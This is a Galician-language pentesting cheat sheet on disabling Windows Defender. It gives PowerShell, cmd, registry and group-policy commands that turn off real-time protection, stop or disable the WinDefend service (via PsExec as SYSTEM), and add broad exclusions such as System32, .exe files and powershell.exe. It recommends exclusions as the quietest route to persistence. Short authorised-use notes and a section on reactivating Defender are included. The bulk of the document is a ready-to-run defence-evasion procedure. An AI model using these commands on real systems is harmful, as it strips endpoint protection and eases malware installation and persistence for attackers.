Desactivar Windows Defender
NOTAS DE SEGURIDADE
- Estas técnicas só deben usarse en contextos autorizados de pentesting
- Sempre documenta os cambios realizados
- Sempre reverte os cambios ao finalizar o pentest
- Proporciona ao cliente instrucións claras para reactivar Defender
IMPORTANTE: Diferenza entre temporal e permanente
- TEMPORAL: Só dura ata o próximo reinicio (útil para probas rápidas)
- PERMANENTE: Persiste tras reiniciar (necesario para persistencia real)
OPCIÓNS TEMPORAIS (Non persisten tras reiniciar)
Útiles para probas rápidas na sesión actual, pero NON funcionan para persistencia.
Opción Temporal 1: Desactivar protección en tempo real
# Dende powershell
# Desactivar protección en tempo real (TEMPORAL)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableScriptScanning $true
# Verificar
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring
Opción Temporal 2: Deter o servizo
REM Dende cmd
REM Deter o servizo (require privilexios elevados)
net stop windefend
REM Ou con PowerShell
Stop-Service -Name WinDefend -Force
OPCIÓNS PERMANENTES (Persisten tras reiniciar)
Necesarias para persistencia real en pentesting.
Opción Permanente 1: Engadir exclusións (RECOMENDADO)
As exclusións SI persisten tras reiniciar e son a opción máis silenciosa e funcional.
A. Excluír rutas específicas
# Dende powershell
# Engadir exclusións de RUTAS (persiste tras reiniciar)
Add-MpPreference -ExclusionPath "C:\Windows\System32"
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionPath "C:\ProgramData"
Add-MpPreference -ExclusionPath "C:\Users\Public"
# Verificar exclusións
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
REM Dende cmd
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
B. Excluír extensións de ficheiro
# Dende powershell
# Engadir exclusións de EXTENSIÓNS (persiste tras reiniciar)
Add-MpPreference -ExclusionExtension ".ps1"
Add-MpPreference -ExclusionExtension ".bat"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionExtension ".dll"
# Verificar
Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension
C. Excluír procesos
# Dende powershell
# Excluír procesos específicos
Add-MpPreference -ExclusionProcess "powershell.exe"
Add-MpPreference -ExclusionProcess "cmd.exe"
# Verificar
Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
D. Eliminar exclusións (limpeza)
# Dende powershell
# Eliminar unha ruta específica
Remove-MpPreference -ExclusionPath "C:\Windows\Temp"
# Eliminar unha extensión
Remove-MpPreference -ExclusionExtension ".ps1"
# Ver todas as exclusións
Get-MpPreference | Select-Object Exclusion*
Opción Permanente 2: Desactivar mediante Registry
Desactiva Windows Defender permanentemente a través do rexistro.
# Dende powershell
# Crear a entrada principal se non existe
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Force | Out-Null
# Desactivar Windows Defender completamente
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Type DWord -Force
# Crear subclave de Real-Time Protection
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Force | Out-Null
# Desactivar protección en tempo real
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1 -Type DWord -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 1 -Type DWord -Force
# Verificar
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware"
# REQUIRE REINICIAR para aplicar
shutdown /r /t 30
REM Dende cmd
REM Crear clave principal
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
REM Desactivar protección en tempo real
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
REM Reiniciar
shutdown /r /t 30
Opción Permanente 3: Mediante Group Policy (GUI)
- Premer
Win + Re executar:gpedit.msc - Navegar a:
- Doble clic en "Turn off Microsoft Defender Antivirus"
- Seleccionar "Enabled"
- Aplicar → OK
- Executar:
gpupdate /force - Reiniciar o sistema
Opción Permanente 4: Desactivar o servizo permanentemente
REQUIRE privilexios de SYSTEM
Método 1: Con PsExec (recomendado)
REM Dende cmd
REM Descargar PsExec64.exe de Sysinternals primeiro
REM https://live.sysinternals.com/PsExec64.exe
REM Executar cmd como SYSTEM
PsExec64.exe -i -s cmd.exe
REM Dentro da consola SYSTEM:
sc config WinDefend start= disabled
sc stop WinDefend
REM Verificar
sc query WinDefend
Método 2: Mediante Registry (alternativa)
REM Dende cmd
REM Desactivar inicio automático do servizo
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t REG_DWORD /d 4 /f
REM Valores de Start:
REM 0 = Boot
REM 2 = Automatic
REM 3 = Manual
REM 4 = Disabled
REM Reiniciar
shutdown /r /t 0
REACTIVAR Windows Defender
Eliminar exclusións
# Dende powershell
# Ver exclusións actuais
Get-MpPreference | Select-Object Exclusion*
# Eliminar todas as exclusións de rutas (unha a unha)
Remove-MpPreference -ExclusionPath "C:\Windows\System32"
Remove-MpPreference -ExclusionPath "C:\Windows\Temp"
# Eliminar extensións
Remove-MpPreference -ExclusionExtension ".ps1"
Reactivar mediante Registry
# Dende powershell
# Eliminar a clave de desactivación
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Force -ErrorAction SilentlyContinue
# Reactivar protección en tempo real
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 0 -Type DWord -Force
# Reiniciar
shutdown /r /t 30
REM Dende cmd
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
shutdown /r /t 30
Reactivar o servizo
VERIFICACIÓN
Comprobar estado de Windows Defender
# Dende powershell
# Ver estado completo
Get-MpComputerStatus
# Ver só protección en tempo real
Get-MpPreference | Select-Object DisableRealtimeMonitoring
# Ver exclusións
Get-MpPreference | Select-Object Exclusion*
# Ver estado do servizo
Get-Service WinDefend
REM Dende cmd
REM Estado do servizo
sc query WinDefend
REM Ver configuración do rexistro
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware
TÁBOA RESUMO
| Método | Temporal | Permanente | Require Admin | Require Reinicio |
|---|---|---|---|---|
Set-MpPreference -DisableRealtime... |
✅ | ❌ | ✅ | ❌ |
Add-MpPreference -Exclusion... |
❌ | ✅ | ✅ | ❌ |
Registry DisableAntiSpyware |
❌ | ✅ | ✅ | ✅ |
| Group Policy | ❌ | ✅ | ✅ | ✅ |
sc config WinDefend start=disabled |
❌ | ✅ | SYSTEM | ✅ |
net stop windefend |
✅ | ❌ | ✅ | ❌ |
Recomendación
Usar Exclusións (máis silencioso e non require reinicio)